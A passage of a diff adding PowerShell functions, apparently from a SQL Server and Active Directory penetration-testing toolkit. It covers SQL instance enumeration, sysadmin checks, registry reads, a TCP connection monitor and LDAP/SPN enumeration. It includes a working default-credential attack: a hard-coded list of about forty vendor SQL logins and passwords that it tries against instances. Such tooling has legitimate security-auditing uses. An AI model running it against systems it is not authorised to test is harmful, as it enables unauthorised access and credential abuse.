$Sid = [Convert]::ToInt32($NewSid,16)
|
||||||
|
} else {
|
||||||
|
$Sid = $NewSid
|
||||||
|
}
|
||||||
|
|
||||||
|
$null = $TblSessions.Rows.Add(
|
||||||
|
[string]$_.ComputerName,
|
||||||
|
[string]$_.Instance,
|
||||||
|
$Sid,
|
||||||
|
[string]$_.PrincipalName,
|
||||||
|
[string]$_.OriginalPrincipalName,
|
||||||
|
[string]$_.SessionId,
|
||||||
|
[string]$_.SessionStartTime,
|
||||||
|
[string]$_.SessionLoginTime,
|
||||||
|
[string]$_.SessionStatus
|
||||||
|
)
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
$TblSessions
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLSysadminCheck {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
|
||||||
|
|
||||||
|
if($CredentialName) {
|
||||||
|
$CredentialNameFilter = " WHERE name like '$CredentialName'"
|
||||||
|
} else {
|
||||||
|
$CredentialNameFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
$Query = "SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
CASE
|
||||||
|
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as IsSysadmin"
|
||||||
|
|
||||||
|
$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
|
||||||
|
} End {
|
||||||
|
$TblSysadminStatus
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLConnectionObject {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut = 1
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
if($DAC) {
|
||||||
|
$DacConn = 'ADMIN:'
|
||||||
|
} else {
|
||||||
|
$DacConn = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
if(-not $Database) {
|
||||||
|
$Database = 'Master'
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
if ( -not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
|
||||||
|
if (-not $Username) {
|
||||||
|
$AuthenticationType = "Current Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
|
||||||
|
}
|
||||||
|
if ($username -like "*\*") {
|
||||||
|
$AuthenticationType = "Provided Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
if (($username) -and ($username -notlike "*\*")) {
|
||||||
|
$AuthenticationType = "Provided SQL Login"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
return $Connection
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLQuery {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server query.')]
|
||||||
|
[string]$Query,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[int]$TimeOut,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Return error message if exists.')]
|
||||||
|
[switch]$ReturnError
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblQueryResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
if($DAC) {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database
|
||||||
|
} else {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
|
||||||
|
}
|
||||||
|
|
||||||
|
$ConnectionString = $Connection.Connectionstring
|
||||||
|
$Instance = $ConnectionString.split(';')[0].split('=')[1]
|
||||||
|
|
||||||
|
if($Query) {
|
||||||
|
try {
|
||||||
|
$Connection.Open()
|
||||||
|
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
|
||||||
|
$Results = $Command.ExecuteReader()
|
||||||
|
$TblQueryResults.Load($Results)
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
} catch {
|
||||||
|
#Pass
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
|
||||||
|
Break
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
$TblQueryResults
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLServerInfo {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblServerInfo = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
|
||||||
|
if(-not $Instance)
|
||||||
|
{
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
# Test connection to instance
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
$ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
Where-Object -FilterScript {
|
||||||
|
$_.SessionStatus -eq 'running'
|
||||||
|
} | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines
|
||||||
|
|
||||||
|
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
|
||||||
|
if($IsSysadmin -eq 'Yes') {
|
||||||
|
$SysadminSetup = "
|
||||||
|
-- Get machine type
|
||||||
|
DECLARE @MachineType SYSNAME
|
||||||
|
EXECUTE master.dbo.xp_regread
|
||||||
|
@rootkey = N'HKEY_LOCAL_MACHINE',
|
||||||
|
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
|
||||||
|
@value_name = N'ProductType',
|
||||||
|
@value = @MachineType output
|
||||||
|
-- Get OS version
|
||||||
|
DECLARE @ProductName SYSNAME
|
||||||
|
EXECUTE master.dbo.xp_regread
|
||||||
|
@rootkey = N'HKEY_LOCAL_MACHINE',
|
||||||
|
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
|
||||||
|
@value_name = N'ProductName',
|
||||||
|
@value = @ProductName output"
|
||||||
|
$SysadminQuery = ' @MachineType as [OsMachineType],
|
||||||
|
@ProductName as [OSVersionName],'
|
||||||
|
} else {
|
||||||
|
$SysadminSetup = ''
|
||||||
|
$SysadminQuery = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
$Query = " -- Get SQL Server Information
|
||||||
|
-- Get SQL Server Service Name and Path
|
||||||
|
DECLARE @SQLServerInstance varchar(250)
|
||||||
|
DECLARE @SQLServerServiceName varchar(250)
|
||||||
|
if @@SERVICENAME = 'MSSQLSERVER'
|
||||||
|
BEGIN
|
||||||
|
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
|
||||||
|
set @SQLServerServiceName = 'MSSQLSERVER'
|
||||||
|
END
|
||||||
|
ELSE
|
||||||
|
BEGIN
|
||||||
|
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
|
||||||
|
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
|
||||||
|
END
|
||||||
|
-- Get SQL Server Service Account
|
||||||
|
DECLARE @ServiceaccountName varchar(250)
|
||||||
|
EXECUTE master.dbo.xp_instance_regread
|
||||||
|
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
|
||||||
|
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
|
||||||
|
-- Get authentication mode
|
||||||
|
DECLARE @AuthenticationMode INT
|
||||||
|
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
|
||||||
|
N'Software\Microsoft\MSSQLServer\MSSQLServer',
|
||||||
|
N'LoginMode', @AuthenticationMode OUTPUT
|
||||||
|
-- Grab additional information as sysadmin
|
||||||
|
$SysadminSetup
|
||||||
|
-- Return server and version information
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
@@servername as [Instance],
|
||||||
|
DEFAULT_DOMAIN() as [DomainName],
|
||||||
|
@SQLServerServiceName as [ServiceName],
|
||||||
|
@ServiceAccountName as [ServiceAccount],
|
||||||
|
(SELECT CASE @AuthenticationMode
|
||||||
|
WHEN 1 THEN 'Windows Authentication'
|
||||||
|
WHEN 2 THEN 'Windows and SQL Server Authentication'
|
||||||
|
ELSE 'Unknown'
|
||||||
|
END) as [AuthenticationMode],
|
||||||
|
CASE SERVERPROPERTY('IsClustered')
|
||||||
|
WHEN 0
|
||||||
|
THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as [Clustered],
|
||||||
|
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
|
||||||
|
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
|
||||||
|
serverproperty('Edition') as [SQLServerEdition],
|
||||||
|
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
|
||||||
|
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
|
||||||
|
$SysadminQuery
|
||||||
|
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
|
||||||
|
SYSTEM_USER as [Currentlogin],
|
||||||
|
'$IsSysadmin' as [IsSysadmin],
|
||||||
|
'$ActiveSessions' as [ActiveSessions]"
|
||||||
|
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
|
||||||
|
} End {
|
||||||
|
$TblServerInfo
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLServerLoginDefaultPw {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
# Table for output
|
||||||
|
$TblResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
$TblResults.Columns.Add('Computer') | Out-Null
|
||||||
|
$TblResults.Columns.Add('Instance') | Out-Null
|
||||||
|
$TblResults.Columns.Add('Username') | Out-Null
|
||||||
|
$TblResults.Columns.Add('Password') | Out-Null
|
||||||
|
$TblResults.Columns.Add('IsSysAdmin') | Out-Null
|
||||||
|
|
||||||
|
# Create table for database of defaults
|
||||||
|
$DefaultPasswords = New-Object System.Data.DataTable
|
||||||
|
$DefaultPasswords.Columns.Add('Instance') | Out-Null
|
||||||
|
$DefaultPasswords.Columns.Add('Username') | Out-Null
|
||||||
|
$DefaultPasswords.Columns.Add('Password') | Out-Null
|
||||||
|
|
||||||
|
# Populate DefaultPasswords data table
|
||||||
|
$DefaultPasswords.Rows.Add("ACS","ej","ej") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("ACT7","sa","sage") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("AOM2","admin","ca_admin") | out-null
|
||||||
|
$DefaultPasswords.Rows.Add("ARIS","ARIS9","*ARIS!1dm9n#") | out-null
|
||||||
|
$DefaultPasswords.Rows.Add("AutodeskVault","sa","AutodeskVault@26200") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("BOSCHSQL","sa","RPSsql12345") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("BPASERVER9","sa","AutoMateBPA9") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CDRDICOM","sa","CDRDicom50!") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CODEPAL","sa","Cod3p@l") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CODEPAL08","sa","Cod3p@l") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CounterPoint","sa","CounterPoint8") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CSSQL05","ELNAdmin","ELNAdmin") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CSSQL05","sa","CambridgeSoft_SA") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("CADSQL","CADSQLAdminUser","Cr41g1sth3M4n!") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("DHLEASYSHIP","sa","DHLadmin@1") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("DPM","admin","ca_admin") | out-null
|
||||||
|
$DefaultPasswords.Rows.Add("DVTEL","sa","") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("EASYSHIP","sa","DHLadmin@1") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("ECC","sa","Webgility2011") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("ECOPYDB","e+C0py2007_@x","e+C0py2007_@x") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("ECOPYDB","sa","ecopy") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("Emerson2012","sa","42Emerson42Eme") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("HDPS","sa","sa") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("HPDSS","sa","Hpdsdb000001") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("HPDSS","sa","hpdss") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("INSERTGT","msi","keyboa5") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("INSERTGT","sa","") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("INTRAVET","sa","Webster#1") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("MYMOVIES","sa","t9AranuHA7") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("PCAMERICA","sa","pcAmer1ca") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("PCAMERICA","sa","PCAmerica") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("PRISM","sa","SecurityMaster08") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("RMSQLDATA","Super","Orange") | out-null
|
||||||
|
$DefaultPasswords.Rows.Add("RTCLOCAL","sa","mypassword") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("SALESLOGIX","sa","SLXMaster") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("SIDEXIS_SQL","sa","2BeChanged") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("SQL2K5","ovsd","ovsd") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("SQLEXPRESS","admin","ca_admin") | out-null
|
||||||
|
$DefaultPasswords.Rows.Add("STANDARDDEV2014","test","test") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("TEW_SQLEXPRESS","tew","tew") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("vocollect","vocollect","vocollect") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("VSDOTNET","sa","") | Out-Null
|
||||||
|
$DefaultPasswords.Rows.Add("VSQL","sa","111") | Out-Null
|
||||||
|
|
||||||
|
$PwCount = $DefaultPasswords | measure | select count -ExpandProperty count
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if (-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
# Grab only the instance name
|
||||||
|
$TargetInstance = $Instance.Split("\")[1]
|
||||||
|
|
||||||
|
# Bypass ports and default instances
|
||||||
|
if (-not $TargetInstance) {
|
||||||
|
"$Instance : No instance match found."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$TblResultsTemp = $DefaultPasswords | Where-Object { $_.instance -eq "$TargetInstance"}
|
||||||
|
|
||||||
|
if ($TblResultsTemp) {
|
||||||
|
"$Instance : Confirmed instance match."
|
||||||
|
} else {
|
||||||
|
"$Instance : No instance match found."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$CurrentUsername = $TblResultsTemp.username
|
||||||
|
$CurrentPassword = $TblResultsTemp.password
|
||||||
|
$LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose
|
||||||
|
if ($LoginTest) {
|
||||||
|
"$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword"
|
||||||
|
$SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin
|
||||||
|
$TblResults.Rows.Add(
|
||||||
|
$ComputerName,
|
||||||
|
$Instance,
|
||||||
|
$CurrentUsername,
|
||||||
|
$CurrentPassword,
|
||||||
|
$SysadminStatus
|
||||||
|
) | Out-Null
|
||||||
|
} else {
|
||||||
|
"$Instance : No credential matches were found."
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
ForEach ($Result in $TblResults) {
|
||||||
|
"Computer : " + $Result.Computer
|
||||||
|
"Instance : " + $Result.Instance
|
||||||
|
"Username : " + $Result.Username
|
||||||
|
"Password : " + $Result.Password
|
||||||
|
"IsSysAdmin : " + $Result.IsSysAdmin
|
||||||
|
""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,40 @@
|
||||||
|
function Start-TCPMonitor {
|
||||||
|
[cmdletbinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[String]$TargetDomain,
|
||||||
|
[Parameter(Mandatory=$false)]
|
||||||
|
[Int]$CheckInterval=30
|
||||||
|
)
|
||||||
|
|
||||||
|
Function Get-ActiveTCPConnections {
|
||||||
|
try {
|
||||||
|
$TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
|
||||||
|
$Connections = $TCPProperties.GetActiveTcpConnections()
|
||||||
|
return $Connections
|
||||||
|
|
||||||
|
} catch {
|
||||||
|
Write-Error "Failed to get active connections. $_"
|
||||||
|
return @()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
While(1){
|
||||||
|
$TargetDomainResolution = [System.Net.Dns]::GetHostAddresses("$TargetDomain")
|
||||||
|
$TargetIPs = New-Object System.Collections.ArrayList
|
||||||
|
foreach($i in $TargetDomainResolution ) {
|
||||||
|
$TargetIPs.Add($i.IPAddressToString.trim()) >$null 2>&1
|
||||||
|
}
|
||||||
|
$tcpConns = Get-ActiveTCPConnections
|
||||||
|
foreach($Connection in $tcpConns) {
|
||||||
|
foreach($IP in $TargetIPs) {
|
||||||
|
if( $Connection.RemoteEndPoint.Address.IPAddressToString -eq $IP ) {
|
||||||
|
"Host connected to $TargetDomain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep($CheckInterval)
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,260 @@
|
||||||
|
Function Get-DomainObject {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain user to authenticate with domain\user.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain password to authenticate with domain\user.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
|
||||||
|
[string]$DomainController,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'LDAP Filter.')]
|
||||||
|
[string]$LdapFilter = '',
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'LDAP path.')]
|
||||||
|
[string]$LdapPath,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')]
|
||||||
|
[int]$Limit = 1000,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')]
|
||||||
|
[ValidateSet('Subtree','OneLevel','Base')]
|
||||||
|
[string]$SearchScope = 'Subtree'
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
if($Username -and $Password) {
|
||||||
|
$secpass = ConvertTo-SecureString $Password -AsPlainText -Force
|
||||||
|
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass)
|
||||||
|
}
|
||||||
|
if ($DomainController) {
|
||||||
|
$objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname
|
||||||
|
if($LdapPath) {
|
||||||
|
$LdapPath = '/'+$LdapPath+','+$objDomain
|
||||||
|
$objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password
|
||||||
|
} else {
|
||||||
|
$objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password
|
||||||
|
}
|
||||||
|
$objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
|
||||||
|
} else {
|
||||||
|
$objDomain = ([ADSI]'').distinguishedName
|
||||||
|
if($LdapPath) {
|
||||||
|
$LdapPath = $LdapPath+','+$objDomain;$objDomainPath = [ADSI]"LDAP://$LdapPath"
|
||||||
|
} else {
|
||||||
|
$objDomainPath = [ADSI]''
|
||||||
|
}
|
||||||
|
$objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
|
||||||
|
}
|
||||||
|
$objSearcher.PageSize = $Limit
|
||||||
|
$objSearcher.Filter = $LdapFilter
|
||||||
|
$objSearcher.SearchScope = 'Subtree'
|
||||||
|
} Process {
|
||||||
|
try {
|
||||||
|
$objSearcher.FindAll() | % -Process {$_}
|
||||||
|
} catch {
|
||||||
|
"Error was $_"
|
||||||
|
$line = $_.InvocationInfo.ScriptLineNumber
|
||||||
|
"Error was in Line $line"
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-DomainSpn {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain user to authenticate with domain\user.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain password to authenticate with domain\user.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
|
||||||
|
[string]$DomainController,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Computer name to filter for.')]
|
||||||
|
[string]$ComputerName,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Domain account to filter for.')]
|
||||||
|
[string]$DomainAccount,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SPN service code.')]
|
||||||
|
[string]$SpnService,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
if(-not $SuppressVerbose){'Getting domain SPNs...'}
|
||||||
|
$TableDomainSpn = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TableDomainSpn.Columns.Add('UserSid')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('User')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('UserCn')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('Service')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('ComputerName')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('Spn')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('LastLogon')
|
||||||
|
$null = $TableDomainSpn.Columns.Add('Description')
|
||||||
|
$TableDomainSpn.Clear()
|
||||||
|
} Process {
|
||||||
|
try {
|
||||||
|
$SpnFilter = ''
|
||||||
|
if($DomainAccount) {
|
||||||
|
$SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)"
|
||||||
|
}
|
||||||
|
if($ComputerName) {
|
||||||
|
$ComputerSearch = "$ComputerName`$"
|
||||||
|
